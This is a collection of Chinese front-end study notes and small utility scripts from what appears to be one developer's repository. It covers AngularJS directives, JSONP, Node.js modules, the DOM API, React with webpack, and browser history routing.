出于技术和框架方面的原因,绝对不要直接将控制器中的$scope赋值为值类型对象(字符串,布尔值或数字)。DOM中应该始终通过dian操作符来访问数据。遵守这个规范将是你远离不可预测的麻烦。 - 控制器应该尽可以简单。虽然可以用控制器来组织所有功能,但是将业务逻辑移到服务和指令中是非常好的主意。 + 当出现控制器的嵌套时,如果父控制器的中$scope的一个属性为值类型对象,那么由于原型继承的关系,修改子控制器$scope上的同一个属性,父控制器中的$scope属性不会改变。但如果显式的给$scope属性声明了数据类型为引用类型对象,子控制器和父控制器共用一个对象(原型继承),无论是在子控制器中还是父控制器中,修改其中的一个另一个也变化了,实现数据的同步。 + 注意,虽然这个特性是使用ng-controller是最重要的特性之一,但在使用任何创建子作用域的指令时,如果将指令定义中的scope属性设置为true,这个特性也会带来负面影响,下面内置指令都有同样的特性。 - ng-include - ng-switch - ng-repeat - ng-view - ng-controller - ng-if - ng-include + 使用ng-include可以加载,编译并包含外部HTML片段到当前应用中,模板的url被限制在与应用文档相同的域和协议下,可以通过白名单或包装成被信任的值来突破限制。更进一步,需要考虑跨域资源共享和同源规则来确保模板可以在任何浏览器中正常加载。例如,所有浏览器都不能进行跨域的请求,部分浏览器也不能服务file://协议的资源。 - 在开发中,可以通过命令命令行chrome --allow-file-access-from-files来禁止CORS错误。只有在紧急情况下使用这个方法,比如你的老板正站在你身后,并且所有事情都无法正常工作。 - 在同一元素上添加onload属性可以在模板加载完成后执行一个表达式。 - 要记住,使用ng-include时angular会自动创建一个子作用域。如果你想使用某个特定的作用域,例如controller的作用域,不会像往常一样从尾部作用域继承并创建一个新的子作用域。 - 注意:引入文件要包裹一对单引号 <div ng-include="'myFile.htm'"></div> - ng-switch + 这个指令和ng-switch-when(加子元素上)及on='propertyName'(加父元素上)一起使用,可以在properName发生变化时渲染不同指令到视图中。 + 注意,在switch被调用之前用ng-switch-default来输出默认值 - ng-view + ng-view指令用来设置将被路由管理和放置HTML中的视图的位置。 - ng-if + 使用ng-if指令可以完全根据表达式的值在DOM中生成或移除一个值。 + ng-if和ng-show指令最大的区别是,它不是通过css显式隐藏DOM节点,而是真正生成或移除节点。 + 当一个元素被ng-if从DOM中移除,同它关联的作用域也被销毁。而且当它从新加入DOM中时,会通过原型继承从它的父作用域生成一个新的作用域。 + 同时有一个重要的细节需要知道,ngif重新创建元素时用的时它们编译后的状态。如果ng-if内部代码加载之后被jquery修改过(例如用.addClass),那么当ng-if的表达式为false时,这个DOM元素被移除,表达式再次为true时这个元素及其内部的子元素会被重新插入DOM,此时这些元素的状态会是它们的原始状态,而不是它们上次被移除时的状态。也就是说无论用jquery的.addClass添加了什么类都不会存在了。 - ng-repeat + ng-repeat用来遍历一个集合或为集合的每个元素生成一个模板实例。集合中的每个元素都会被赋予自己的模板和作用域。同时每个模板实例的作用域中都会暴露一些特殊的属性。 - ng-init + ng-init指令用来在指令被调用时设置内部作用域的初始状态。一般做小demo使用。 - {{}} + {{}}语法时angular内置的模板语法,它会在内部$scoep和视图之间创建绑定。基于这个绑定,只要$scope发生变化,视图就会随之自动更新。 + 实际上它也是指令,虽然看起来不像,它是ng-bind的简略模式,用这种模式不需要创建新的元素,以此它常被用在行内文本中。 + 注意,在屏幕可视区使用{{}}会导致页面加载时未渲染的元素发生闪烁,用ng-bind可以避免这个问题。 - ng-bind + HTML加载含有{{}}语法的元素后并不会立即渲染它们,导致未渲染内容闪烁(Flash of Unrendered Content, FOUC)。可以用ng-bind将内容和元素绑定在一起避免FOUC。内容会被当在子文本节点渲染到含有ng-bind指令的元素内。 - ng-cloak + 除了使用ng-bind来避免未渲染元素闪烁,还可以在包含{{}}的元素上使用ng-cloak指令 + ng-cloak指令会将元素内部隐藏,直到路由调用对应的页面才显式出来。 - ng-bind-template + 同ng-bind类似,ng-bind-template用来在视图中绑定多个表达式。 - ng-model + ng-model指令用来将input,select,text,area或者自定义表单控件同包含它们的作用域中的属性进行绑定。它可以提供并处理表单的验证功能,在元素上设置相关的css类(ng-valid,ng-invalid等),并负责在父表单中注册控件。 + 它将当前作用域中运算表达式的值同给定的元素进行绑定。如果属性并不存在,它会隐式创建并将其添加到当前作用域中。 + 我们使用ngmodel来绑定$scope上一个数据模型内的属性,而不是$scope上的属性,这样可以避免在作用域或后代作用域中发生属性覆盖。 - ng-show/ng-hide + ng-show和ng-hide根据所给表达式的值来显式或隐藏HTML元素。当赋值给ng-show指令的值为false时元素会被隐藏。类似的,当赋值给ng-hide指令的值为true时元素也会被隐藏。 + 元素的显式或者隐藏是通过移除或添加ng-hide这个css类来实现的。ng-hide类被预先定义在了angular的常熟市文件中,并且它的display属性的值为none(用了!important标记). - ng-change + 这个指令会在表单输入发生变化时计算给定表达式的值。因为要处理表单输入,这个指令要和ngmodel联合使用。ngmodel中的值改变,则调用ng-change="fn()"中的函数。 - ng-form + ng-form用来在一个表单内部嵌套另一个表单。普通的HTML<form>标签不允许嵌套,但是ng-form可以。 + 这意味着内部所有的子表单合法时,外部的表单才合法。这对于用ng-reapeat动态创建的表单是非常有用的。 + 由于不能通过字符串插值来给输入元素动态生成name属性,所以需要将ng-form指令内每组重复的输入字段都包含在一个外部表单元素内。 + 下面css类会根据表单的验证状态自动设置: - 表单合法时设置ng-valid - 表单不合法时设置ng-invalid - 表单未进行修改时设置ng-pristion - 表单进行过修改时设置ng-dirty + angular不会将表单提交到服务器,除非它指定了action属性。要指定提交表单时调用哪个Javascript方法,使用下面两个指令中的一个。 - ng-submit:在表单元素上使用。 - ng-click:在第一个按钮或submit类型(input[type=submit])的输入字段上使用。 - 为了避免处理程序被多次调用,只能用上面两个指令中的一个。 ````js <style> input.ng-invalid { border: 1px solid red; } input.ng-valid { border: 1px solid green; } </style> <body ng-app="myApp"> <form name="signup_form" ng-controller="FormController" ng-submit="submitForm()" novalidate> <div ng-repeat="field in fields" ng-form="signup_form_input"> <input type="text" name="dynamic_input" ng-required="field.isRequired" ng-model="file.name" placeholder="{{field.placeholder}}" /> <div ng-show="signup_form_input.dynamic_input.$dirty&&signup_form_input.dynamic_input.$invalid"> <span class="error" ng-show="signup_form_input.dynamic_input.$error.required">The fidld is required</span> </div> </div> <button type="submit" ng-disabled="signup_form.$invalid">Submit All</button> </form> <script src="js/angular.js"></script> <script> angular.module("myApp", []).controller("FormController", ["$scope", function ($scope) { $scope.fields = [ { placeholder: "Username", isRequired: true }, { placeholder: "<PASSWORD>", isRequired: true }, { placeholder: "Email(optional)", isRequired: false }, ]; $scope.submitForm = function () { alert("it works!"); } }]) </script> </body> ````` - ng-click + ng-click用来指定一个元素被点击时调用的方法或表达式 - ng-select + ng-select用来将数据同HTML的select元素进行绑定。这个指令可以和ng-model以及ng-options指令一同使用,构建精细且表现优良的动态表单。 + ng-options的值可以时一个内涵表达式,其实中只是一个有趣的说法,简单来说就是它可以接受一个数组或对象,并对它们进行循环,将内部的内容提供给select标签内部的选项。它可以时下面两中形式。 - 数组作为数据源 + 用数组中的值做表; + 用数组中的值作为选中的标签; + 用数组中的值做标签组。 + 用数组中的值作为选中的标签组。 - 对象作为数据源 + 用对象的键-值(key-value)做标签; + 用对象的键-值作为选中的标签 + 用对象的键-值作为标签组 + 用对象的键-值作为选中标签组 + for遍历子标签的内容 as遍历子标签的值 - ng-sumbit + ng-submit用来将表达式同onsubmit事件进行绑定。这个指令同时会阻止默认行为(发送请求并重新加载页面),除非表单不含有action属性。 - ng-class + 使用ng-class动态设置元素的类,方法是绑定一个代表所有需要添加类的表达式。重复的类不会添加。当表达式发生变化,先前添加的类会被移除,新类会被添加。 - ng-attr-(suffix) + 当angular编译DOM时会查找花括号{{some expression}} 内的表达式。这些表达式会被自动注册到$watch服务中并更新到$digest循环中,成为它的一部分。 + 有时浏览器会对属性进行很苛刻的限制。SVG就是一个例子 - &lt;svg>&lt;circle cx="{{cx}}">&lt;/circle>&lt;svg> + 运行上面的代码会抛出一个错误,指出我们有一个非法属性。可以用ng-attr-cx来解决这个问题。注意,cx位于这个名称的尾部。在这个属性中,通过{{}}来写表达式,达到前面提到的目的。 - &lt;svg>&lt;circle ng-attr-cx="{{cx}}">&lt;/circle>&lt;svg> - 纬度和经度值转换为浮点数,这个cx属性必须是浮点数:23.993938 ## 指令详解 ### 指令定义 - 对于指令,可以把它简单的理解成在特定DOM元素上运行的函数,指令可以扩展这个元素的功能。 - directive()函数创建指令 + name(字符串)指令的名称,用来在视图中引用特定的指令。 + factory_function(函数)这个函数返回一个对象。$compile服务利用这个方法返回的对象,在DOM调用指令是来构造指令的行为。 - 也可以返回一个函数代替对象,这个函数通常被称做链接传递函数,利用它我们可以定义指令的链接(link)功能。 + 当angular启动引用时,它会把第一个参数当成一个字符串,并以此字符串为名来注册第二个参数返回的对象。angular编译器会解析主HTML的DOM中的元素,属性,注释和css类名中使用了这个名字的地方,并在这些地方引用对应的指令。当它找到某个已知的指令时,就会在页面中插入指令对应的DOM元素。 - 为避免和HTML标准冲突,自定义属性最好加一个前缀。 + 指令的工厂函数只会在编译器第一次匹配到这个指令时调用一次。和controller函数类似,通过$injetor.invoke来调用指令的函数工厂。 + 当angular在DOM中遇到具名指令时,会去匹配已经注册过的指令,并通过名字在注册对象中查找。此时,就开始了一个指令的生命周期,指令的生命周期开始于$compile方法并结束于link方法。 + restrice(字符串) - restrice是可选参数,它告诉angular这个指令在DOM中可以何种形式被声明。 + priority:number 优先级 - 优先级参数可以被设置为一个数值。大多数指令会忽略这个参数,使用默认值0,但也有些场景设置高优先级是非常重要甚至是必须的。例如ngRepeat将这个参数设置为1000,这样就可以保证在同一元素上,它总是在其他指令之前被调用。 - 如果一个元素上具有两个优先级相同的指令,声明在前面的那个会被优先调用。 - ngRepeat是所有内置属性中优先级最高的,它总是在其他指令之前运行。这样设置主要考虑性能。 + terminal(布尔型) - terminal是一个布尔型参数,可以被设置为true或false。 - 这个参数用来告诉angular停止运行当前元素上比本指令优先级底的指令。但同当前指令优先级相同的指令还是会被执行。 -如果元素上某个指令设置了terminal参数并具有较高的优先级,就不要再用其他底优先级的指令对其进行修饰了,因为不会调用。 - 使用了terminal参数的例子是ngview和ngif。ngif优先级略高于ngview,如果ngif的表达式为true,ngview就可以被正常执行,但如果ngif表达式的值为false,由于ngview的优先级底就不会执行。 + template 参数可以是模板,也可以是一个返回模板的函数。 + templateUrl 参数可以是一个链接,一个script模板ID,也可以是一个返回外部HTML文件路径的字符串。 ### 指令作用域 - $rootScope这个特殊对象会在DOM中声明ng-app时被创建。 + DOM每个指令调用时都可能会 - 直接调用相同的作用域对象 - 从当前作用域对象继承一个新的作用域对象。 - 创建一个同当前作用域相隔离的作用域对象。 - $scope参数(布尔型或对象) - $scope参数为true时和ng-controller一样,都是从父级作用域继承并创建一个新的子作用域。 - 隔离作用域 - 具有隔离作用域的指令最主要的使用场景是创建可复用的组件,组件可以在未知上下文中使用,并且可以避免污染所处的外部作用域或不经意的污染内部作用域。- 创建具有隔离作用域的指令需要将scope属性设置为一个{}对象。如果这样做了,指令的模板就无法访问外部作用域了。 - 绑定策略 <file_sep>const fs=require('fs'); const path=require('path'); const clear=require('clear'); const filename=process.argv[2]; const filearr=fs.readdirSync(path.join(process.cwd(),filename)); const arr=[]; filearr.forEach(item=>{ fs.readFile(path.join(path.join(process.cwd(),filename),item),'utf8',(err,data,t)=>{ if(!err){ //arr.push(txt); arr[item.replace('.txt','')-1]=data; } if(arr.length==filearr.length){ let num=0; setInterval(()=>{ clear(); console.log(arr[num++%6]) },100) //console.log(arr) } }) })<file_sep>### ajax - jsonp原理 ````js function ajax(options){ var defaults = { url : '/abc', jsonp : 'callback' } // 覆盖默认值 for(var key in options){ defaults[key] = options[key]; } var cbName = 'jQuery' + ('v1.11.1' + Math.random()).replace(/\D/g,'') + '_' + new Date().getTime(); if(defaults.jsonpCallback){ cbName = defaults.jsonpCallback; } // 给window对象添加了一个全局方法,全局方法的名称是cbName的值,而不是cbName本身 window[cbName] = function(data){ defaults.success(data); } // 处理业务参数 flag=1&n=123& var param = ''; if(defaults.data){ for(var key in defaults.data){ param += key + '=' + defaults.data[key] + '&'; } } // if(param){ // param = param.substring(0,param.length - 1); // } // 动态创建script标签,然后通过标签的src属性发送请求 var script = document.createElement('script'); script.src = defaults.url + '?' + param + defaults.jsonp + '=' + cbName + '&_=' + new Date().getTime();// jQuery413241431234143213_1231231231({"username":"lisi"}) var head = document.getElementsByTagName('head')[0]; head.appendChild(script); } ````<file_sep>## node简介 + 为什么叫Node - Node本质上是一个可以构建网络应用的基础框架,可以在它的基础上构建更多的东西,诸如服务器,客户端,命令行工具等。Node发展为一个强制不共享任何资源的单线程,单进程系统,包含十分适宜网络的库,为构建大型分布式应用程序提供基础设施,其目标也是成为一个构建快速,可伸缩的网络应用平台。它自身非常简单通过通信协议来组织许多Node,非常容易通过扩展来达成构建大型网络应用的目的。每一个Node进程都构成这个网络应用中的一个节点,这是它名字所含意义的真谛。 + 单线程 - 在Node中,JavaScript与其余线程是无法共享任何状态的。单线程的最大好处是不用像多线程编程那样处处在意状态的同步问题,这里没有死锁的存在,也没有线程上下文切换所带来的性能上的开销。 + 弱点 - 无法利用多核cpu - 错误会引起整个程序退出,应用的健壮性值得考验。 - 大量计算占用CPU导致无法继续调用异步I/O。 - Node中可以采用与Web Workers 相同的思路来解决大计算量的问题:child_process(子进程) + Node应用场景 - I/O密集的优势主要在于Node利用事件循环的处理能力,而不是启动每一个线程为每一个请求服务,资源占用少。 - V8的深度性能优化决定了Node在处理CPU密集型业务上的高效。主要的原因是Node的单线程,如果长时间的运算会导致CPU时间片不能释放,使得后续I/O无法发起。可适当把大型任务分解。 + Node虽然没有提供多线程用于计算,但还是有两个方式充分利用CPU - Node可以通过编写c/c++扩展的方式更高效地利用CPU,将V8不能做到地性能极致的地方通过c/c++实现。 - 如果单线程的Node不能满足需求,甚至用了c/c++扩展还觉得不够,可以通过子进程的方式,将一部分Node进程当做常驻服务进程用于计算,然后利用进程间的消息来传递结果,将计算与I/O分离,这样还能充分利用多CPU。 ### 模块机制 - 工具(浏览器兼容)=》组件(功能模块)=》框架(功能模块组织)=》应用(业务模块组织) + 在Node中引入模块,需要经历如下3个步骤 - 路径分析 - 文件定位 - 编译执行 - 在Node中,模块分为两类:Node提供的模块为核心模块,用户编写的模块称为文件模块。 + 优先加载缓存 - 浏览器缓存的是文件,Node缓存的是模块编译执行后的对象 - 核心模块的缓存检查优先于文件模块。 + 路径分析和文件定位 - 核心模块的优先级仅次于缓存加载 ,它在node的源代码编译过程中已经编译为二进制代码,其加载过程最快。 - 路径形式的文件模块以.,..和/开始都被当成文件模块处理,require方法把路径转化为真是路径,以真实路径为索引,将编译执行的结果哦放在缓存中。 - 自定义模块是一种它是的文件模块,可能是一个文件或者包的形式。这类模块查找最费事。 + module.paths:模块的路径生成规则和原型链类型,从当前文件一级级向上生成对应的node_modules文件夹。查找时一级一级向上查找。 + 不传文件扩展名的情况下,Node会.js.node.json的次序补足扩展名,依次尝试,推荐.node.json后缀文件加后缀名 - 目录分析和包 + require在分析扩展名后,可能没有找到对应文件,但却得到一个目录,这在引入自定义模块和逐个模块路径进行查找时经常会出现,此时node会将目录当做一个包处理。 + 在逐个过程中,Node对CommonJS包规范进行了一定程度的支持。首先,Node在当前目录下查找package.json(CommonJS包规范定义的包描述文件),通过JSON.parse()解析出包描述对象,从中取main属性指定的文件名进行定位。如果文件名缺乏扩展名,将会进入扩展名分析的步骤。如果main属性指定文件名错误或压根没有package.json文件,Node会将index当做默认文件名,然后依次查找index.js,index.node,index.json. - 如果没有找到,则自定义模块进入下一个模块路径进行查找,直到模块路径数组被遍历完,还没有找到则报错。 <file_sep>## DOM - DOM(文档对象模型)是针对HTML和XML文档的一个API(应用程序编程接口)。DOM描绘了一个层次化的节点树,允许开发人员添加,移除和修改页面的一部分。 - 文档节点是文档的根节点,在html中文档节点只有一个子点,为元素节点html - NodeList对象的独特之处在于,它实际上是基于DOM结构动态执行查询的结果,因此DOM结构的变化能够自动反应在NodeList对象中。 - 由于IE8及更早版本将NodeList实现为一个COM对象,而我们不能像使用JScript对象那样使用这种对象使用数组的方法([].slice.call(nodes,0))把它转化为数组会导致错误,必须手动枚举所有成员。 - hasChildNodes()方法可以判断元素是否有子节点,返回布尔值。 - 每个元素都有最后一个属性ownerDocument,该属性指向表达整个文档的文档节点(document)。 - insertBefore方法接受连个参数:要插入的节点和作为参照的节点。 - replaceChild方法接受两个参数:要插入的节点和要替换的节点。 - 与使用replaceChild方法一样,通过removeChild移除的节点仍然为文档所有,但在文档中已经没有了位置。 - cloneNode方法参数为true时复制节点本身和它的子节点,为false只复制本身。 - ie9之前的版本不会为空白符创建节点。 - cloneNode方法不会复制添加到DOM节点中的JavaScript属性,例如事件处理程序等。这个方法只复制特性(在明确指定的情况下也复制子节点),其他一切都不会复制,IE在此存在一个bug,即它会复制事件处理程序,所以我们减一在复制前最好移除事件处理程序。 - normalize()方法唯一的作用是处理文本节点。当在某个节点上调用这个方法时,就会在该节点的后代节点中查找,发现空文本节点则删除;如果找到相邻的文本节点,则把它们合并为一个文本节点。 ### Documnet类型 - document.referrer 获取来源页面地址 - ie7中,document.getElementById不区分大小写,并且表单元素的name属性值和要获取的id名一样,会把表单元素获取。所以name属性和id最好都是唯一的。 - 在后台,对数字索引就会调用item(),而对字符串索引就会调用namedItem() - getElementsByTagName()标签在html中不区分大小写,但在xml中区分 - 特殊集合: + document.anchors,包含文档中所有带name的特性a元素。 + document.forms,包含文档中所有的form元素 + document.links 包含文件中所有带href特性的a元素 + document.images包含文档中所有的img标签 - DOM一致性检查 + hasFeature()方法接受两个参数,要检测的DOM功能的名称及版本号。如果浏览器支持给定名称和版本的功能,则该方法返回true + document.implementation.hasFeature("XML","1.0") + 返回true有时候也不意味着实现与规范一种 - 文档写入 + write(),writeln()后者比前者多个一个换行符(\n).都具有将输出流写入网页的功能。 + 如果文档加载结束后再调用document.write,那么输出的内容将会重写整个页面。 + Element类型 + nodetype的值为1 + nodeName的值为元素的标签名 + nodeValue的值为null + 要访问元素的标签名,可以使用nodeName属性,也可以使用tagName属性。 + 在html中获取的标签名始终是大写 + ie中createElemnet方法参数可以是一个完整的html,包括id和class等等,在ie7以下版本中document.createElemnet创建(先创建一个元素,后期添加name等属性)同一组name名称相同的标签之间没有关联性,可以通过在 createElemnet中指定完整的HTML标签来解决。 + ie下ul有3个子节点,其他浏览器中,ul元素都会有7个元素,包括3个li元素和4个html ````js <ul> <li></li> <li></li> <li></li> </ul> ```` ### text类型 + nodeType值为3 + nodeName的值为"#text" + nodeValue的值为节点所包含的文本 + parentNode是一个Element + 不支持子节点 - document.createTextNode()创建一个文本节点 - 和合并文本节点相反的方法:splitText()。这个方法会将一个文本节点分成两个文本节点,参数为一个数字,原来的文本节点将包含从开始到指定位置之前的内容。 - 可以通过nodeValue和data取到内容。 ### comment 类型 - 注释在ODM通过Comment类型来表示,nodeType为8. ### DocumentFrament类型 - 在所有的节点类型中,只有DocumentFragment在文档中没有对应的标记。DOM规定文档片段是一种“轻量级”的文档。可以包含和控制节点,但不会像完整的文档那样占用额外的资源。 + node Type的值为11. + nodeName的值为"#document-fragment"; + nodeValue的值为null + parentNode的值为null + 可以使用document.createDocumentFragment()创建 ### 动态脚本 - 动态脚本都是异步的 ````js function loadScriptString(code){ var script=document.createElement("script"); script.type="text/javascript"; //style.type="text/css"; try{ //js script.appendChild(document.createTextNode(code)); //IE中会报错,IE将<script>视为一个特殊的元素,不允许DOM访问其子节点 }catch(ex){ //Safari 3.0之前的版本虽然不能正确的支持text代码,但却允许使用文本节点技术来指定代码 script.text=code; //css style.styleSheet.cssText="" } document.body.appendChild(script); //document.getElementByTagName("head")[0]; //css必须追加到head中 } ```` ### 使用NodeList - 理解Nodelist及其"近亲"NamedNodeMap和HTMLCollection,是从整体上透彻理解DOM的关键所在。这三个集合都是”动态的“。换句话说,每当文档结构发生变化时,它们都会得到更新。 - 尽量减少访问NodeList的次数。因为每次访问NodeList,都会运行一次基于文档的查询。 ### 小结 - DOM是语言中立的API,用于访问和操作HTML和XML文档,DOM1级将HTML和XML文档形象的看作一个层次化的节点树,可以使用Javascript来操作这个节点树,进而改变底层文档的外观和结构 <file_sep><?php header('Content-type:text/html;charset=utf-8'); $images=array('2.png','3.png','1.png','3.png','2.png'); foreach($images as $image){ $image_fh=fopen($image,'r'); $image_data=fread($image_fh,filesize($image)); fclose($image_fh); $payloads[]=base64_encode($image_data); } $newline=chr(1); echo implode($newline,$payloads); ?><file_sep><title>react</title> ## react生命周期及基本用法,webpack配置 ### webpack ```js // webpack.develop.config.js配置 var path=require('path') var webpack=require('webpack') module.exports={ entry:path.resolve(__dirname,'src/js/app.js'), output:{ path:path.resolve(__dirname, 'dist'), filename:'bundle.js' }, module:{ rules:[ //// es6转es5 jsx转成js { test: /\.jsx?$/, exclude: /node_modules/, use: [ { loader: "babel-loader", options: { // babel-preset-es2015 presets: ['es2015', 'react', 'stage-0', 'stage-1', 'stage-2'] } } ] }, // 能够解析css的加载器 { test: /\.css$/, use: ['style-loader', 'css-loader'], }, // 解析sass文件的加载器 { test: /\.scss$/, use: ['style-loader', 'css-loader', 'sass-loader'], }, // 解析图片文件的url加载器 25000bit ~3kb { test: /\.(png|jpg|jpeg|gif)$/, use: 'url-loader?limit=25000&name=images/[name].[ext]' }, ] }, devtool: 'eval', devServer: { contentBase: __dirname + '/src', hot: true, // �����ȸ��� port:8080, // ָ���˿ں� host: 'localhost', open:true, // openPage:'' }, plugins: [ new webpack.HotModuleReplacementPlugin(), ] } //package.json配置 "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "dev": "webpack --config webpack.develop.config.js", "server": "webpack-dev-server --config webpack.develop.config.js --content-base src", "publish": "webpack --config webpack.publish.config.js -p", "gulp": "gulp", "lint": "eslint --ext .js .vue src" }, ``` ### react - npm install react react-dom - 下载依赖 - npm install --global babel-cli // 安装babel - npm install babel-preset-react -dev-save// 安装babel转换jsx的包 - npm install babel-preset-es2015 -dev-save// 安装babel转化ES6的包 - 基本配置 ```js // index.html 入口文件 <div id="app"></div> <script src="bundle.js"></script> //js>app.js 配置的js入口 import React,{Component}from 'react' import ReactDOM from 'react-dom' import Hello from '../components/Hello' ReactDOM.render( <div> <Hello/> </div>, document.getElementById('app') ) //components》.js 一个组件 import React,{Component}from 'react' // import './hello.css' export default class Hello extends Component{ render(){ return ( <div> <h1> 你好世纪 </h1> </div> ) } } ``` #### 组件的生命周期分成三个状态: - Mounting:已插入真实 DOM - Updating:正在被重新渲染 - Unmounting:已移出真实 DOM - 生命周期 ![](./img/QQ图片20170814212015.png) #### 代码使用(在ES6中用ES5的写法会报错) - ES5写法 ```js var Hello = React.createClass({ getInitialState() { return { liked: false }; }, render: function() { console.log(this.state.liked); return( <div> <h1 style={style}>Hello world</h1> <br/> <image/> </div> ) } }); module.exports=Hello; ``` - ES6写法 ```js export default class Hello extends Component { constructor(props) { super(props); this.state = { count: 'es6'}; } render() { return ( <div> <h1 style={style}>Hello world{this.state.count}</h1> <br/> <image/> </div> ) } } ``` - 属性扩散:标签上的自定义属性可以封装成一个对象在标签上使用: {...props} - 小括号按照html解析,大括号按照js解析 - react-devtools 谷歌浏览器插件,使react的调试工具,可以监视react中的变量 - react在销毁之前调用的方法unmount,释放一些资源,释放一些权限,移除事件监听 - 和state属性进行绑定的标签为受控组件 ## - react ant.design 蚂蚁金服的组件库 - golp - 极客学院 > http://react-guide.github.io/react-router-cn/docs/guides/advanced/ComponentLifecycle.html - react native 江青青 李华明 <file_sep>- UA(navigator.userAgent)嗅探技术 ## 种子模块 - 种子模块应该包含如下功能:对象扩展,数组化,类型绑定,简单的事件与卸载,无冲突处理,模块加载和domReady。<file_sep>/** * Created by yoyo on 2017-05-05. */ function getPageX(e) { //先检测是否存在pageX if (e.pageX) { return e.pageX; } else { //pageX的值是可视区域横坐标+页面左侧的卷曲距离 return e.clientX + myScroll().left; } } function getPageY(e) { //先检测是否存在pageX if (e.pageY) { return e.pageY; } else { //pageX的值是可视区域横坐标+页面左侧的卷曲距离 return e.clientY + myScroll().top; } } /** * 兼容事件对象 * @param e 获取事件对象 * @returns {*|Event} 返回兼容后的事件对象 */ function getEvent(e) { return e || window.event; } /** * 自己实现多次给同一标签添加事件不覆盖的函数 * @param tag 要添加事件的标签 * @param eventName 事件类型名 - 不需要加 on * @param fn 事件处理程序 */ function myAddEvent(tag, eventName, fn) { var oldEvent = tag["on" + eventName]; if (typeof oldEvent == "function") { tag["on" + eventName] = function () { oldEvent(); fn(); }; } else { tag["on" + eventName] = fn; } } /** * * @param tag * @param attr * @returns {*} */ function getStyle(tag, attr) { if (tag.currentStyle) { return tag.currentStyle[attr]; } else { return getComputedStyle(tag, null)[attr]; } // return tag.currentStyle?tag.currentStyle[attr]:getComputedStyle(tag,null)[attr]; } /** * 获取元素的内部文本 * @param tag * @returns {*} */ function getText(tag) { if (typeof tag.innerText != "undefined") { return tag.innerText; } else { return tag.textContent; } } /** * 设置元素内部的文本 * @param tag * @param text */ function setText(tag, text) { if (typeof tag.innerText != "undefined") { tag.innerText = text; } else { tag.textContent = text; } } /** * * @param clsName * @param tarEle 想要在某个标签内进行查找 (可选) * @returns {*} */ function getByClass(clsName, tarEle) { tarEle = tarEle || document.body; if (typeof document.getElementsByClassName == "function") { return tarEle.getElementsByClassName(clsName); } else { var allTag = tarEle.getElementsByTagName("*"); var resultArr = [];//保存最终获取结果 for (var i = 0; i < allTag.length; i++) { var tempClass = allTag[i].className; var tempArr = tempClass.split(" "); for (var j = 0; j < tempArr.length; j++) { if (tempArr[j] == clsName) { resultArr[resultArr.length] = allTag[i]; break;//减少循环的执行次数 } } } return resultArr; } } /** * 获取当前节点的所有兄弟 * @param me * @returns {Array} */ function getSb(me) { var meDie = me.parentNode; var resultArr = []; var xiongdis = meDie.children; for (var i = 0; i < xiongdis.length; i++) { if (xiongdis[i] != me) { resultArr.push(xiongdis[i]); } } return resultArr; } /** * 获取后一个兄弟节点 * @param node 元素节点 * @returns {*|Node} 返回获取到的元素节点 或者null */ function getNextEleSib(node) { var ns = node.nextSibling; while (null != ns && 1 != ns.nodeType) { ns = ns.nextSibling; } return ns; } /** * 获取前一个兄弟节点 * @param node 元素节点 * @returns {*|Node} 返回获取到的元素节点 或者null */ function getPreEleSib(node) { //获取node的前一个兄弟节点 var ps = node.previousSibling; while (null != ps && 1 != ps.nodeType) { ps = ps.previousSibling; } return ps; } function myScroll() { return { scrollTop: window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0, scrollLeft: window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft || 0 }; } function myClient() { return { height: window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight || 0, width: window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth || 0 }; }<file_sep>const fs = require('fs'); const path = require('path'); const mark = require('marked'); const filepath = process.argv[2]; const css = fs.readFileSync(path.join(__dirname, './github.css'), 'utf8') let mdpath = path.resolve(process.cwd(), filepath) fs.readFile(mdpath, 'utf8', (err, data) => { const arr=data.match(/<title>([\u4e00-\u9fa5a-zA-Z0-9]{0,20})<\/title>/); const title=arr?arr[1]:"note"; const mk= mark(data.replace(/<title>([\u4e00-\u9fa5a-zA-Z0-9]{0,20})<\/title>/,""),'gbk'); // console.log(mk); const html = `<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>${title}</title> <style> markdown-body { padding:20px; } ${css}</style> </head> <body> <section class='markdown-body'> ${mk} </section> </body> </html>` fs.writeFile(mdpath.replace('.md', '.html'), html, (err) => { }) })<file_sep>### defer和asysc异同 - 都是给js脚本加的属性,能起到异步加载脚本的效果(anysc是ES6才提出的) - defer异步加载,在加载完后要等整个页面加载完成才执行。async也是异步加载,但加载完就会直接执行。 ### documnet.documentMode和documnet.compatMode - documnet.compatMode表示浏览器处于什么模式:如果是标准模式,则document.compatMode的值等于”CSS1Compat“,如果是怪异模式,则document.compatMode的值等于”BackCompat“。 - documnet.documentMode ie8+才有,IE8有3中不同的呈现模式,而这个属性正是为了区分这些模式。这个属性的值如果是5,则表示怪异模式(即IE5模式);如果是7,则表示IE7仿真模式;如果是8,则表示IE8标准模式。 ### css content计数器(ie8+) - counter-reset:就是“计数器-重置”的意思。其实就是“班级命名”,主要作用就是给计数器起个名字,顺便告诉下从哪个数字开始计数。默认是0. - counter-increment:就是“计数器-递增”的意思。值为counter-reset的1个或多个关键字。后面可以跟随数字,表示每次计数的变化值。如果缺省,则使用默认变化值1 .普照源(counter-reset)唯一,每普照(counter-increment)1次,普照源增加1次计数值。 - counter(name, style)只是输出而已 counters(name, string, style) ### 浅析Web开发中前端路由实现的几种方式 - 这两个Api都会操作浏览器的历史栈,而不会引起页面的刷新。不同的是,pushState会增加一条新的历史记录,replaceState则会替换当前的历史记录。所需的参数相同,在将新的历史记录存入栈后,会把传入的data(即state对象)同时存入,以便以后调用。同时,这俩api都会更新或者覆盖当前浏览器的title和url为对应传入的参数。 - 要注意,这两个api都是不能跨域的 ````js /** *parameters *@data {object} state对象,这是一个javascript对象,一般是JSON格式的对象字面量。 *@title {string} 可以理解为document.title,在这里是作为新页面传入参数的。 *@url {string} 增加或改变的记录,对应的url,可以是相对路径或者绝对路径, *url的具体格式可以自定。 */ history.pushState(data, title, url) //向浏览器历史栈中增加一条记录。 history.replaceState(data, title, url) //替换历史栈中的当前记录。 var currentState = history.state; //如果没有则为null。 ```` <file_sep>## html5元素Canvas - Canvas本质上是一块画布,通过js动态绘制图像。 + 可以绘制简单的2D图像。 + 使用WebGL绘制3D图像。 - 基本用法 + 